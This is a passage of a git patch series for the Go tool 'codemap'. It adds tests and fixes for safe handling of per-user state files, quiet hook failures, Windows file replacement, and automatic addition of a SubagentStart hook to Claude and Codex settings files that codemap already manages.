dirs ...string) { + t.Helper() + for _, dir := range dirs { + for _, args := range [][]string{{"."}, {"--deps", "."}, {"find", "x", "."}, {"config", "show", "."}, {"doctor", "."}} { + _, _ = codemapIn(t, dir, homeEnv(home), "", args...) + } + } + } + plain := t.TempDir() + for rel, body := range map[string]string{"a.go": "package a\n", "sub/b.go": "package b\n"} { + path := filepath.Join(plain, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + } + home := t.TempDir() + readOnly(t, home, plain, filepath.Join(plain, "sub")) + if _, err := os.Stat(filepath.Join(home, ".codemap", "state")); !os.IsNotExist(err) { + t.Fatalf("read-only commands outside git created state: %s", dirNames(t, filepath.Join(home, ".codemap", "state"))) + } + + repo := stateFixture(t) + readOnly(t, home, repo, filepath.Join(repo, "pkg"), filepath.Join(repo, "cmd", "a")) + if entries, _ := os.ReadDir(filepath.Join(home, ".codemap", "state")); len(entries) > 1 { + t.Fatalf("one git repo got %d state entries: %s", len(entries), dirNames(t, filepath.Join(home, ".codemap", "state"))) + } +} + +// A repo over the scan bound keeps its stored auto filter: the bounded walk is +// the filtered one, and the stored copy is never re-derived from a truncated +// sample. +func TestAutoConfigSurvivesTheScanBound(t *testing.T) { + root := stateFixture(t) + for i := 0; i < 600; i++ { + path := filepath.Join(root, "data", fmt.Sprintf("r%03d.json", i)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte("{}"), 0o644); err != nil { + t.Fatal(err) + } + } + home := t.TempDir() + if out, err := codemapIn(t, root, homeEnv(home), "", "."); err != nil { + t.Fatalf("codemap .: %v\n%s", err, out) + } + out, err := codemapIn(t, root, homeEnv(home), "", "--max-files", "100", ".") + if err != nil || !strings.Contains(out, "pkg") || strings.Contains(out, "data/") { + t.Fatalf("bounded tree lost the code: %v\n%s", err, out) + } + data, _ := os.ReadFile(findFile(t, home, "auto-config.json")) + if !strings.Contains(string(data), `"go"`) { + t.Fatalf("stored auto config lost its filter: %s", data) + } +} + +// The auto filter note is for a person reading `codemap .`: never in JSON, +// any lean render, or a hook's context. +func TestAutoFilterNoteStaysOutOfAgentOutput(t *testing.T) { + root := stateFixture(t) + env := homeEnv(t.TempDir()) + t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) + if out, _ := codemapIn(t, root, env, "", "."); !strings.Contains(out, "auto filter: only go") { + t.Fatalf("human tree has no auto filter note (docs/x.md is hidden):\n%s", out) + } + runs := map[string][]string{"json": {"--json", "."}} + for _, lean := range []string{"0", "1", "2", "dirs"} { + runs["lean "+lean] = []string{"."} + } + for name, args := range runs { + runEnv := env + if strings.HasPrefix(name, "lean ") { + runEnv = append(append([]string{}, env...), "CODEMAP_TREE_LEAN="+strings.TrimPrefix(name, "lean ")) + } + if out, _ := codemapIn(t, root, runEnv, "", args...); strings.Contains(out, "auto filter") { + t.Fatalf("%s output carries the auto filter note:\n%s", name, out) + } + } + for _, hook := range []struct{ name, stdin string }{ + {"subagent-start", `{"cwd":"` + filepath.ToSlash(root) + `"}`}, + {"session-start", `{"session_id":"n"}`}, + } { + if out, _ := codemapIn(t, root, env, hook.stdin, "hook", hook.name); strings.Contains(out, "auto filter") { + t.Fatalf("%s carries the auto filter note:\n%s", hook.name, out) + } + } +} + +// A state subdirectory replaced by a link is never listed, written or +// cleaned through: the outside directory stays byte for byte. +func TestPlantedStateDirLinksAreNotFollowed(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("creating symlinks needs privileges on Windows") + } + root := stateFixture(t) + home := t.TempDir() + runEveryEntryPoint(t, root, home) + stateDir := filepath.Dir(findFile(t, home, "project.json")) + for _, name := range []string{"sessions", "flush"} { + outside := t.TempDir() + old := filepath.Join(outside, "old-lease") + if err := os.WriteFile(old, []byte("mine\n"), 0o600); err != nil { + t.Fatal(err) + } + stale := time.Now().Add(-48 * time.Hour) + if err := os.Chtimes(old, stale, stale); err != nil { + t.Fatal(err) + } + if err := os.RemoveAll(filepath.Join(stateDir, name)); err != nil { + t.Fatal(err) + } + if err := os.Symlink(outside, filepath.Join(stateDir, name)); err != nil { + t.Fatal(err) + } + runEveryEntryPoint(t, root, home) + if got := dirNames(t, outside); got != "old-lease" { + t.Fatalf("%s link: outside dir now holds %q", name, got) + } + if data, _ := os.ReadFile(old); string(data) != "mine\n" { + t.Fatalf("%s link: outside file changed: %q", name, data) + } + } +} + +// An unsafe state file never fails or speaks in a hook; a user command fails +// with one line that names the path and says to remove it, and the link is +// left alone. +func TestUnsafeStateFilesQuietInHooksActionableInCommands(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("creating symlinks needs privileges on Windows") + } + for _, name := range []string{"state.json", "project.json", "watch.pid", "handoff.latest.json"} { + t.Run(name, func(t *testing.T) { + root := projectpathCanonical(t, stateFixture(t)) + home := t.TempDir() + env := homeEnv(home) + t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) + if out, err := codemapIn(t, root, env, "", "."); err != nil { + t.Fatalf("codemap .: %v\n%s", err, out) + } + link := filepath.Join(filepath.Dir(findFile(t, home, "project.json")), name) + _ = os.Remove(link) + if err := os.Symlink(filepath.Join(t.TempDir(), "outside"), link); err != nil { + t.Fatal(err) + } + for _, step := range []struct{ hook, stdin string }{ + {"session-start", `{"session_id":"u"}`}, + {"post-edit", `{"session_id":"u","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, "main.go")) + `"}}`}, + {"pre-compact", `{"session_id":"u"}`}, + {"session-stop", `{"session_id":"u"}`}, + } { + out, err := codemapIn(t, root, env, step.stdin, "hook", step.hook) + if err != nil || strings.Contains(out, "unsafe") { + t.Fatalf("hook %s: %v\n%s", step.hook, err, out) + } + } + if name == "handoff.latest.json" { + return // the daemon does not read it; `codemap handoff` is covered above + } + _, _ = codemapIn(t, root, env, "", "watch", "stop", root) + out, err := codemapIn(t, root, env, "", "watch", "start", root) + if err == nil || !strings.Contains(out, link+" is a symlink") || !strings.Contains(out, "remove it") { + t.Fatalf("watch start with a planted %s: %v\n%s", name, err, out) + } + if info, err := os.Lstat(link); err != nil || info.Mode()&os.ModeSymlink == 0 { + t.Fatalf("the planted link was touched: %v", err) + } + }) + } +} diff --git a/watch/registry.go b/watch/registry.go index 3f6baf32..b3373649 100644 --- a/watch/registry.go +++ b/watch/registry.go @@ -103,7 +103,7 @@ func unregisterDaemon(pid int) { // readDaemonRegistry returns every well-formed entry and deletes malformed ones. func readDaemonRegistry() []registryEntry { dir, err := daemonRegistryDir() - if err != nil { + if err != nil || runtimefile.CheckDir(dir) != nil { return nil } items, err := os.ReadDir(dir) @@ -177,3 +177,6 @@ func StopDaemon(d DaemonInfo) error { unregisterDaemon(d.PID) return nil } + +// ProcessAlive reports whether pid is a running process. +func ProcessAlive(pid int) bool { return processAlive(pid) } diff --git a/watch/state.go b/watch/state.go index b78ffa4f..b68df3f5 100644 --- a/watch/state.go +++ b/watch/state.go @@ -175,11 +175,11 @@ func ClaimDaemonPID(root string, pid int) (claimed bool, err error) { // ReadPID reads the daemon PID from the project's runtime namespace. func ReadPID(root string) (int, error) { - selection, err := projectpath.SelectRuntime(root) + dir, err := projectpath.StateDir(root) if err != nil { return 0, err } - return readPIDAt(projectpath.ProjectRuntimeDir(selection.ProjectRoot)) + return readPIDAt(dir) } // RemovePID removes the project's PID file. @@ -221,14 +221,20 @@ type ActiveRuntime struct { // ResolveActiveRuntime selects the project namespace and its live daemon, or a // positively owned live daemon the registry records for this root. func ResolveActiveRuntime(root string) (ActiveRuntime, error) { - selection, err := projectpath.SelectRuntime(root) + selection, err := projectpath.Select(root) if err != nil { return ActiveRuntime{}, err } - active := ActiveRuntime{Directory: projectpath.ProjectRuntimeDir(selection.ProjectRoot), CanonicalRoot: selection.ProjectRoot} + dir, err := projectpath.StateDir(root) + if err != nil { + return ActiveRuntime{}, err + } + active := ActiveRuntime{Directory: dir, CanonicalRoot: selection.ProjectRoot} pid, readErr := readPIDAt(active.Directory) switch { case os.IsNotExist(readErr): + case errors.Is(readErr, runtimefile.ErrUnsafe): + return ActiveRuntime{}, readErr case readErr != nil || pid <= 0: return ActiveRuntime{}, ErrDaemonOwnershipUnknown case !processAlive(pid): @@ -297,7 +303,7 @@ func requireRegularRuntimeFile(path string) error { return err } if !info.Mode().IsRegular() { - return fmt.Errorf("unsafe runtime file %q", path) + return runtimefile.Unsafe(path) } return nil } @@ -421,9 +427,9 @@ func removePIDIfMatches(dir string, pid int) error { // RemoveProcessPID removes only the caller's still-current PID publication. func RemoveProcessPID(root string, pid int) error { - selection, err := projectpath.SelectRuntime(root) + dir, err := projectpath.StateDir(root) if err != nil { return err } - return removePIDIfMatches(projectpath.ProjectRuntimeDir(selection.ProjectRoot), pid) + return removePIDIfMatches(dir, pid) } diff --git a/watch/transition.go b/watch/transition.go index 65362ca9..7abd3d73 100644 --- a/watch/transition.go +++ b/watch/transition.go @@ -46,7 +46,7 @@ func AcquireTransition(root string) (*Transition, error) { return nil, err } if info, err := os.Lstat(selection.RuntimeDir); err != nil || !info.IsDir() { - return nil, fmt.Errorf("unsafe runtime directory %q", selection.RuntimeDir) + return nil, runtimefile.Unsafe(selection.RuntimeDir) } path := filepath.Join(selection.RuntimeDir, "watch.transition") for attempt := 0; attempt < 2; attempt++ { diff --git a/watch_readiness_test.go b/watch_readiness_test.go index e95680a5..c2ebef95 100644 --- a/watch_readiness_test.go +++ b/watch_readiness_test.go @@ -6,6 +6,7 @@ import ( "os/exec" "path/filepath" "runtime" + "strconv" "strings" "testing" "time" @@ -182,3 +183,23 @@ func TestRunWatchStartReportsDaemonThatDies(t *testing.T) { t.Fatalf("dead daemon left its PID file behind: %v", statErr) } } + +// A `watch start` that loses the transition lock and sees no daemon come up +// fails; it reports success only when a daemon is actually running. +func TestWatchStartLoserWithNoDaemonFails(t *testing.T) { + root := projectpathCanonical(t, stateFixture(t)) + selection, err := projectpath.SelectRuntime(root) + if err != nil { + t.Fatal(err) + } + lock := filepath.Join(selection.RuntimeDir, "watch.transition") + if err := os.WriteFile(lock, []byte(`{"pid":`+strconv.Itoa(os.Getpid())+`,"token":"held"}`), 0o600); err != nil { + t.Fatal(err) + } + previous := watchReadinessTimeout + t.Cleanup(func() { watchReadinessTimeout = previous }) + watchReadinessTimeout = 100 * time.Millisecond + if err := runWatchSubcommand("start", root); err == nil || !strings.Contains(err.Error(), "no daemon came up") { + t.Fatalf("watch start with a held lock and no daemon = %v, want a failure", err) + } +} From 323518eb538d75b78142ac4485384e3c7cbc0e08 Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sun, 15 Nov 2026 00:30:15 -0500 Subject: [PATCH 10/15] test: Unix-only mode assertion in the auto-config test Co-Authored-By: Claude Fable 5.2 Claude-Session: https://claude.ai/code/session_01FWQw8CwnpBLPW6jJiDE7BT --- cmd/config_more_test.go | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/cmd/config_more_test.go b/cmd/config_more_test.go index 8e1ad146..a053722a 100644 --- a/cmd/config_more_test.go +++ b/cmd/config_more_test.go @@ -7,6 +7,7 @@ import ( "os" "os/exec" "path/filepath" + "runtime" "slices" "strconv" "strings" @@ -222,8 +223,12 @@ func TestEnsureAutoConfigStaysOutOfTheRepo(t *testing.T) { } auto := config.AutoConfigPath(repo) info, err := os.Stat(auto) - if err != nil || info.Mode().Perm() != 0o600 { - t.Fatalf("auto config %s: %v, mode %v; want 0600", auto, err, info) + if err != nil { + t.Fatalf("auto config %s: %v", auto, err) + } + // Windows has no Unix permission bits; the 0600 check is Unix-only. + if runtime.GOOS != "windows" && info.Mode().Perm() != 0o600 { + t.Fatalf("auto config %s mode %v; want 0600", auto, info.Mode().Perm()) } if got := strings.Join(config.Load(repo).Only, ","); got != "go" { t.Fatalf("Load().Only = %q, want go from the auto config", got) From f804eba9c821584808d3fd6173f309abf984f252 Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sun, 15 Nov 2026 00:34:42 -0500 Subject: [PATCH 11/15] fix(watch): close the event log before replacing it Windows refuses to replace an open file, so trimming the event log failed there once the read went through runtimefile.OpenRead. Co-Authored-By: Claude Fable 5.2 Claude-Session: https://claude.ai/code/session_01FWQw8CwnpBLPW6jJiDE7BT --- watch/events.go | 2 ++ 1 file changed, 2 insertions(+) diff --git a/watch/events.go b/watch/events.go index e64634f6..77da19a2 100644 --- a/watch/events.go +++ b/watch/events.go @@ -1085,6 +1085,8 @@ func trimEventLogToBytes(path string, maxBytes, keepBytes int64) error { tail = tail[idx+1:] } + // Close before replacing: Windows refuses to replace a file that is still open. + f.Close() return runtimefile.WriteAtomic(path, tail, 0o600) } From c2596237a23cc15b5018898f301a0de891cee540 Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sun, 15 Nov 2026 00:52:57 -0500 Subject: [PATCH 12/15] fix(hooks): session-stop stays quiet on unsafe state under a timeout The timeout path for session-stop returned the unsafe-state error, so a planted handoff.latest.json link made the hook exit 1. Apply the same degrade rule RunHook uses. The existing test now edits a tracked file so session-stop reaches the handoff write. Also cap the test-only subagent render delay at 5s. Co-Authored-By: Claude Fable 5.2 Claude-Session: https://claude.ai/code/session_01FWQw8CwnpBLPW6jJiDE7BT --- cmd/hooks.go | 4 ++++ cmd/subagent_cache.go | 2 +- state_location_test.go | 8 ++++++++ 3 files changed, 13 insertions(+), 1 deletion(-) diff --git a/cmd/hooks.go b/cmd/hooks.go index 22cf061e..f3fe0d08 100644 --- a/cmd/hooks.go +++ b/cmd/hooks.go @@ -233,6 +233,10 @@ func RunHookWithTimeout(hookName, root string, timeout time.Duration) error { if errors.Is(err, context.DeadlineExceeded) { return &HookTimeoutError{Hook: hookName, Timeout: timeout} } + // Same rule as RunHook: no safe place for state never fails the agent. + if errors.Is(err, projectpath.ErrNoStateDir) || errors.Is(err, runtimefile.ErrUnsafe) { + return nil + } return err } return runWithTimeout(hookName, timeout, func() error { diff --git a/cmd/subagent_cache.go b/cmd/subagent_cache.go index 8442ed9e..cfe5672c 100644 --- a/cmd/subagent_cache.go +++ b/cmd/subagent_cache.go @@ -156,7 +156,7 @@ func refreshSubagentCache(root string) { ctx, cancel := context.WithTimeout(context.Background(), subagentRefreshBound) defer cancel() if delay, err := time.ParseDuration(os.Getenv(subagentRenderDelayEnv)); err == nil { - time.Sleep(delay) + time.Sleep(min(delay, 5*time.Second)) } if block, err := renderSubagentBlock(ctx, root); err == nil { writeSubagentCache(root, key, block) diff --git a/state_location_test.go b/state_location_test.go index 4739f769..e4fb7e11 100644 --- a/state_location_test.go +++ b/state_location_test.go @@ -744,6 +744,14 @@ func TestUnsafeStateFilesQuietInHooksActionableInCommands(t *testing.T) { if err := os.Symlink(filepath.Join(t.TempDir(), "outside"), link); err != nil { t.Fatal(err) } + // A real change, so session-stop has a handoff to write. + src, err := os.ReadFile(filepath.Join(root, "main.go")) + if err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(root, "main.go"), append(src, "// changed\n"...), 0o644); err != nil { + t.Fatal(err) + } for _, step := range []struct{ hook, stdin string }{ {"session-start", `{"session_id":"u"}`}, {"post-edit", `{"session_id":"u","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, "main.go")) + `"}}`}, From 07ba168883e9038b328763ea32d94397ff5d182d Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sun, 15 Nov 2026 05:52:58 -0500 Subject: [PATCH 13/15] feat(hooks): session-start adds the SubagentStart hook to managed settings Claude decides which hooks fire from its settings file, so an upgraded binary alone never got the new SubagentStart event. The session-start hook now adds the entry to any Claude settings file that already holds codemap's own session-start hook, prints one line, and leaves every other settings file untouched. Co-Authored-By: Claude Fable 5.2 Claude-Session: https://claude.ai/code/session_01FWQw8CwnpBLPW6jJiDE7BT --- cmd/setup.go | 20 +++++++++++++++++ cmd/setup_repair_test.go | 46 ++++++++++++++++++++++++++++++++++++++++ docs/HOOKS.md | 2 ++ main.go | 3 +++ 4 files changed, 71 insertions(+) create mode 100644 cmd/setup_repair_test.go diff --git a/cmd/setup.go b/cmd/setup.go index 827f6d18..42fc95c1 100644 --- a/cmd/setup.go +++ b/cmd/setup.go @@ -766,6 +766,26 @@ func ensureClaudeHooks(settingsPath string, global bool) (ensureHooksResult, err return ensureClaudeHooksWithExecutable(settingsPath, global, executable) } +// RepairClaudeSubagentHook adds the SubagentStart entry to Claude settings +// files that codemap setup already manages, so an upgrade needs no re-run. +// Files without codemap's own session-start entry are never touched. +func RepairClaudeSubagentHook(root string) { + for _, global := range []bool{false, true} { + path, err := claudeSettingsPath(root, global) + if err != nil { + continue + } + data, err := os.ReadFile(path) + if err != nil || !bytes.Contains(data, []byte("hook session-start --integration=claude-setup")) || + bytes.Contains(data, []byte("hook subagent-start")) { + continue + } + if res, err := ensureClaudeHooks(path, global); err == nil && res.WroteFile { + fmt.Printf("codemap: added SubagentStart hook to %s, active next session\n", path) + } + } +} + func ensureClaudeHooksWithExecutable(settingsPath string, global bool, executable string) (ensureHooksResult, error) { return ensureHooks(settingsPath, global, generatedClaudeHooks(executable), nil) } diff --git a/cmd/setup_repair_test.go b/cmd/setup_repair_test.go new file mode 100644 index 00000000..6e66d5bd --- /dev/null +++ b/cmd/setup_repair_test.go @@ -0,0 +1,46 @@ +package cmd + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func TestRepairClaudeSubagentHook(t *testing.T) { + home, root := t.TempDir(), t.TempDir() + t.Setenv("HOME", home) + t.Setenv("USERPROFILE", home) + path, _ := claudeSettingsPath(root, false) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + // Settings as an older codemap setup wrote them: no SubagentStart. + old := `{"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"codemap hook session-start --integration=claude-setup"}]}]}}` + if err := os.WriteFile(path, []byte(old), 0o644); err != nil { + t.Fatal(err) + } + // A settings file codemap does not manage must stay byte-identical. + globalPath, _ := claudeSettingsPath(root, true) + if err := os.MkdirAll(filepath.Dir(globalPath), 0o755); err != nil { + t.Fatal(err) + } + foreign := `{"hooks":{}}` + if err := os.WriteFile(globalPath, []byte(foreign), 0o644); err != nil { + t.Fatal(err) + } + + RepairClaudeSubagentHook(root) + got, _ := os.ReadFile(path) + if !strings.Contains(string(got), "hook subagent-start --integration=claude-setup") { + t.Fatalf("SubagentStart not added:\n%s", got) + } + RepairClaudeSubagentHook(root) + again, _ := os.ReadFile(path) + if string(again) != string(got) { + t.Fatal("second repair rewrote the file") + } + if g, _ := os.ReadFile(globalPath); string(g) != foreign { + t.Fatalf("unmanaged settings were touched:\n%s", g) + } +} diff --git a/docs/HOOKS.md b/docs/HOOKS.md index f68cdc27..d04e428b 100644 --- a/docs/HOOKS.md +++ b/docs/HOOKS.md @@ -37,6 +37,8 @@ Global settings instead of project-local: codemap setup --global ``` +After an upgrade there is no need to run setup again: when a settings file already has codemap's session-start hook but lacks a newer one (`SubagentStart`), the session-start hook adds it and says so. It takes effect in the next session. Settings files without codemap hooks are never touched. + This command: - creates `.codemap/config.json` and `.codemap/.gitignore` when missing; machine state always lives in the per-user state dir, never in the repo (see [INSTALL.md](INSTALL.md#setup)) - merges codemap hooks into Claude and Codex settings without removing existing hooks diff --git a/main.go b/main.go index 83e79e7e..896a4dc8 100644 --- a/main.go +++ b/main.go @@ -152,6 +152,9 @@ func main() { os.Exit(2) } } + if hookName == "session-start" && hookIntegration == "claude-setup" { + cmd.RepairClaudeSubagentHook(root) + } if err := cmd.RunHookWithTimeout(hookName, root, cmd.HookTimeoutFromEnv(os.Getenv)); err != nil { var timeoutErr *cmd.HookTimeoutError if errors.As(err, &timeoutErr) { From 3bd4db4e3b9c94c03f019c9a47e1aa2660bf7042 Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sun, 15 Nov 2026 06:19:26 -0500 Subject: [PATCH 14/15] feat(hooks): wire SubagentStart for Codex and self-repair its hook file Codex 0.163.0 has a SubagentStart hook event with the same hookSpecificOutput.additionalContext shape as Claude Code, so setup now wires it for Codex too. The session-start self-repair covers both agents and prints its notice inside the hook output, so Codex's JSON envelope stays valid. Co-Authored-By: Claude Fable 5.2 Claude-Session: https://claude.ai/code/session_01FWQw8CwnpBLPW6jJiDE7BT --- cmd/hooks.go | 1 + cmd/setup.go | 35 ++++++++++++++++++++++++++--------- cmd/setup_repair_test.go | 29 ++++++++++++++++++++++++++--- cmd/setup_test.go | 8 ++++---- docs/HOOKS.md | 6 +++--- main.go | 4 ++-- 6 files changed, 62 insertions(+), 21 deletions(-) diff --git a/cmd/hooks.go b/cmd/hooks.go index f3fe0d08..27a138a2 100644 --- a/cmd/hooks.go +++ b/cmd/hooks.go @@ -428,6 +428,7 @@ func runHookWithoutStdout(fn func() error) error { // hookSessionStart shows project structure, starts daemon, and shows hub warnings func hookSessionStart(root string) error { + fmt.Print(SessionStartNotice) // Handle meta-repo: parent directory containing child git repos. // Check this before the git guard so that non-repo parent directories // still get multi-repo context. diff --git a/cmd/setup.go b/cmd/setup.go index 42fc95c1..cb236be7 100644 --- a/cmd/setup.go +++ b/cmd/setup.go @@ -126,6 +126,7 @@ func generatedCodexHooks(executable string) []claudeHookSpec { // SessionEnd, not Stop: Codex fires Stop after every turn, and the // session-stop handler releases the lease and stops the daemon (#225). {Event: "SessionEnd", Command: command + " hook session-stop --agent=codex --integration=codex-setup"}, + {Event: "SubagentStart", Command: command + " hook subagent-start --agent=codex --integration=codex-setup"}, } } @@ -766,22 +767,38 @@ func ensureClaudeHooks(settingsPath string, global bool) (ensureHooksResult, err return ensureClaudeHooksWithExecutable(settingsPath, global, executable) } -// RepairClaudeSubagentHook adds the SubagentStart entry to Claude settings -// files that codemap setup already manages, so an upgrade needs no re-run. -// Files without codemap's own session-start entry are never touched. -func RepairClaudeSubagentHook(root string) { +// SessionStartNotice is printed at the top of the session-start hook output. +var SessionStartNotice string + +// RepairSubagentHook adds the SubagentStart entry to the agent's hook files +// that codemap setup already manages, so an upgrade needs no re-run. Files +// without codemap's own session-start entry are never touched. +func RepairSubagentHook(root, agent string) { + pathFor, marker, note := claudeSettingsPath, "hook session-start --integration=claude-setup", "active next session" + if agent == "codex" { + pathFor, marker, note = codexHooksPath, "hook session-start --agent=codex --integration=codex-setup", "trust it from /hooks in Codex, then start a new session" + } + executable, err := resolveIntegrationExecutable() + if err != nil { + return + } for _, global := range []bool{false, true} { - path, err := claudeSettingsPath(root, global) + path, err := pathFor(root, global) if err != nil { continue } data, err := os.ReadFile(path) - if err != nil || !bytes.Contains(data, []byte("hook session-start --integration=claude-setup")) || - bytes.Contains(data, []byte("hook subagent-start")) { + if err != nil || !bytes.Contains(data, []byte(marker)) || bytes.Contains(data, []byte("hook subagent-start")) { continue } - if res, err := ensureClaudeHooks(path, global); err == nil && res.WroteFile { - fmt.Printf("codemap: added SubagentStart hook to %s, active next session\n", path) + var res ensureHooksResult + if agent == "codex" { + res, err = ensureCodexHooksWithExecutable(path, global, executable) + } else { + res, err = ensureClaudeHooksWithExecutable(path, global, executable) + } + if err == nil && res.WroteFile { + SessionStartNotice += fmt.Sprintf("codemap: added SubagentStart hook to %s, %s\n", path, note) } } } diff --git a/cmd/setup_repair_test.go b/cmd/setup_repair_test.go index 6e66d5bd..08db8c09 100644 --- a/cmd/setup_repair_test.go +++ b/cmd/setup_repair_test.go @@ -7,7 +7,8 @@ import ( "testing" ) -func TestRepairClaudeSubagentHook(t *testing.T) { +func TestRepairSubagentHook(t *testing.T) { + t.Cleanup(func() { SessionStartNotice = "" }) home, root := t.TempDir(), t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) @@ -30,17 +31,39 @@ func TestRepairClaudeSubagentHook(t *testing.T) { t.Fatal(err) } - RepairClaudeSubagentHook(root) + RepairSubagentHook(root, "claude") got, _ := os.ReadFile(path) if !strings.Contains(string(got), "hook subagent-start --integration=claude-setup") { t.Fatalf("SubagentStart not added:\n%s", got) } - RepairClaudeSubagentHook(root) + RepairSubagentHook(root, "claude") again, _ := os.ReadFile(path) if string(again) != string(got) { t.Fatal("second repair rewrote the file") } + if strings.Count(SessionStartNotice, "\n") != 1 || !strings.Contains(SessionStartNotice, path) { + t.Fatalf("notice = %q", SessionStartNotice) + } if g, _ := os.ReadFile(globalPath); string(g) != foreign { t.Fatalf("unmanaged settings were touched:\n%s", g) } + + // Codex: same repair on its own hooks file, with the trust step named. + t.Setenv("CODEX_HOME", filepath.Join(home, ".codex")) + codexPath, _ := codexHooksPath(root, false) + if err := os.MkdirAll(filepath.Dir(codexPath), 0o755); err != nil { + t.Fatal(err) + } + oldCodex := `{"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"codemap hook session-start --agent=codex --integration=codex-setup"}]}]}}` + if err := os.WriteFile(codexPath, []byte(oldCodex), 0o644); err != nil { + t.Fatal(err) + } + SessionStartNotice = "" + RepairSubagentHook(root, "codex") + if c, _ := os.ReadFile(codexPath); !strings.Contains(string(c), "hook subagent-start --agent=codex --integration=codex-setup") { + t.Fatalf("Codex SubagentStart not added:\n%s", c) + } + if !strings.Contains(SessionStartNotice, "/hooks in Codex") { + t.Fatalf("notice = %q", SessionStartNotice) + } } diff --git a/cmd/setup_test.go b/cmd/setup_test.go index ee1e1513..5c2354cf 100644 --- a/cmd/setup_test.go +++ b/cmd/setup_test.go @@ -249,8 +249,8 @@ func TestEnsureCodexHooksReconcilesMixedLegacyAndCanonicalConfig(t *testing.T) { if err != nil { t.Fatalf("ensureCodexHooksWithExecutable: %v", err) } - if result.AddedHooks != 0 || result.RemovedHooks != 7 || !result.WroteFile { - t.Fatalf("result = %+v, want AddedHooks=0 RemovedHooks=7 WroteFile=true", result) + if result.AddedHooks != 1 || result.RemovedHooks != 7 || !result.WroteFile { + t.Fatalf("result = %+v, want AddedHooks=1 (SubagentStart) RemovedHooks=7 WroteFile=true", result) } settings := readSettingsFile(t, settingsPath) precisionSettings, err := decodeJSONObject(mustReadFile(t, settingsPath)) @@ -301,8 +301,8 @@ func TestEnsureCodexHooksMigratesLegacyOnlyConfig(t *testing.T) { if err != nil { t.Fatalf("ensureCodexHooksWithExecutable: %v", err) } - if result.AddedHooks != 6 || result.RemovedHooks != 6 || !result.WroteFile { - t.Fatalf("result = %+v, want AddedHooks=6 RemovedHooks=6 WroteFile=true", result) + if result.AddedHooks != 7 || result.RemovedHooks != 6 || !result.WroteFile { + t.Fatalf("result = %+v, want AddedHooks=7 RemovedHooks=6 WroteFile=true", result) } settings := readSettingsFile(t, settingsPath) assertCodexCanonicalHooks(t, readHooksMap(t, settings), specs) diff --git a/docs/HOOKS.md b/docs/HOOKS.md index d04e428b..3ea27eaf 100644 --- a/docs/HOOKS.md +++ b/docs/HOOKS.md @@ -37,7 +37,7 @@ Global settings instead of project-local: codemap setup --global ``` -After an upgrade there is no need to run setup again: when a settings file already has codemap's session-start hook but lacks a newer one (`SubagentStart`), the session-start hook adds it and says so. It takes effect in the next session. Settings files without codemap hooks are never touched. +After an upgrade there is no need to run setup again: when a settings file already has codemap's session-start hook but lacks a newer one (`SubagentStart`), the session-start hook adds it and says so. It takes effect in the next session; Codex also asks you to trust the new hook from `/hooks` first. Hook files without codemap hooks are never touched. This command: - creates `.codemap/config.json` and `.codemap/.gitignore` when missing; machine state always lives in the per-user state dir, never in the repo (see [INSTALL.md](INSTALL.md#setup)) @@ -363,7 +363,7 @@ Hubs (top 10 of 15, by importers): Next: codemap --deps ยท codemap --importers scanner/astgrep.go ``` -Above the large-repo file limit the hub list is replaced by the tree's `No โญ๏ธ hub marks:` note. Outside a git repository, or on any error, it prints nothing and exits 0 so a subagent never fails on it. Codex has no subagent-start event, so this hook is Claude-only. +Above the large-repo file limit the hub list is replaced by the tree's `No โญ๏ธ hub marks:` note. Outside a git repository, or on any error, it prints nothing and exits 0 so a subagent never fails on it. `codemap setup` wires it for Claude Code and for Codex (which needs a Codex version with the `SubagentStart` hook event; 0.163.0 has it). ### At Session End ``` @@ -405,7 +405,7 @@ If a recent handoff exists **for the current branch**, session start includes a | `codemap hook prompt-submit` | `UserPromptSubmit` | Intent classification, hub context, risk analysis, working set, route suggestions, drift warnings | | `codemap hook pre-compact` | `PreCompact` | Saves hub state to `hubs.txt` in the state dir | | `codemap hook session-stop` | `SessionEnd` | Edit timeline + writes `handoff.latest.json`, `handoff.prefix.json`, `handoff.delta.json` in the state dir | -| `codemap hook subagent-start` | `SubagentStart` | Top-level directories with hub marks, then the hub list (Claude only) | +| `codemap hook subagent-start` | `SubagentStart` | Top-level directories with hub marks, then the hub list | --- diff --git a/main.go b/main.go index 896a4dc8..be5dd464 100644 --- a/main.go +++ b/main.go @@ -152,8 +152,8 @@ func main() { os.Exit(2) } } - if hookName == "session-start" && hookIntegration == "claude-setup" { - cmd.RepairClaudeSubagentHook(root) + if hookName == "session-start" && hookIntegration != "" { + cmd.RepairSubagentHook(root, hookAgent) } if err := cmd.RunHookWithTimeout(hookName, root, cmd.HookTimeoutFromEnv(os.Getenv)); err != nil { var timeoutErr *cmd.HookTimeoutError From 6714c994413d01f1ad699286ebb4e42312205aa4 Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sun, 15 Nov 2026 06:27:35 -0500 Subject: [PATCH 15/15] fix(hooks): never self-repair a project-local Codex hook file A project .codex/hooks.json can be shipped by a cloned repo. Repairing it and printing 'trust it from /hooks' would steer the user into trusting a file codemap did not write. Only the user's own CODEX_HOME hook file is repaired; project-local Codex setups re-run codemap setup. Co-Authored-By: Claude Fable 5.2 